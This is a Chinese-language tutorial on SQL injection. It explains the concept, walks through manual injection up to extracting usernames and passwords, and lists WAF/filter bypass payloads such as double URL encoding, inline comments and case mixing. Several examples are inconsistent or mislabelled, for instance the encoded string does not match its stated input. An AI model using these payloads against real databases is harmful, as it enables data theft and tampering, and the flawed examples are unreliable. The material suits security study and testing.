基本概念及原理
一、什么是SQL注入
攻击者通常会在输入字段中插入恶意SQL代码,利用程序在处理用户输入时的漏洞,执行未授权的数据库操作,这样可以获取,修改或删除数据库中的数据
二、SQL注入的危害
SQL注入的危害包括数据泄露、数据篡改、身份冒充、拒绝服务、权限提升等
三、前提条件
输入的参数用户可以控制
拼接语句字段可以带入到数据库查询
常见的攻击方式
一、手工注入基本流程
1、识别注入点
利用单引号等特殊字符,观察是否有SQL错误信息
2、验证注入点
利用特定的语句验证注入点是否可用
‘1’ = ‘1
3、确定数据库类型
利用特定的查询语句来识别数据库类型
SELECT @@version;
4、开始收集信息
获取数据库名
SELECT database();
获取表名
SELECT table_name FROM information_schema.tables;
获取列名
SELECT column_name FROM information_schema.columns WHERE table_name='users';
5、提取数据
SELECT username, password FROM users;
6、根据需求进行下一步操作
二、SQL注入常见绕过技术(Bypass技术)
1、评论符绕过
' OR '1'='1'--
2、大小写混合绕过
select * from users where id=1 UNION SELECT 1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3,4;
3、空格字符绕过
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
4、二次编码绕过
1 union select 1,2,3,4#
第一次编码
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23
第二次编码
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
5、使用浮点数绕过
select * from users where id=8E0union select 1,2,3,4;
select * from users where id=8.0union select 1,2,3,4
6、去重复绕过
select * from users where id=-1 union distinct select 1,2,3,4 from users;
7、等号绕过
select * from users where id=1 and ascii(substring(user(),1,1))<115;
8、使用生僻函数绕过
select polygon((select * from (select * from (select @@version) f) x));
9、联合查询绕过
SELECT * FROM (SELECT id, name FROM users WHERE age > 18) AS adult_users WHERE name LIKE 'A%';
10、ascii字符对比绕过
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;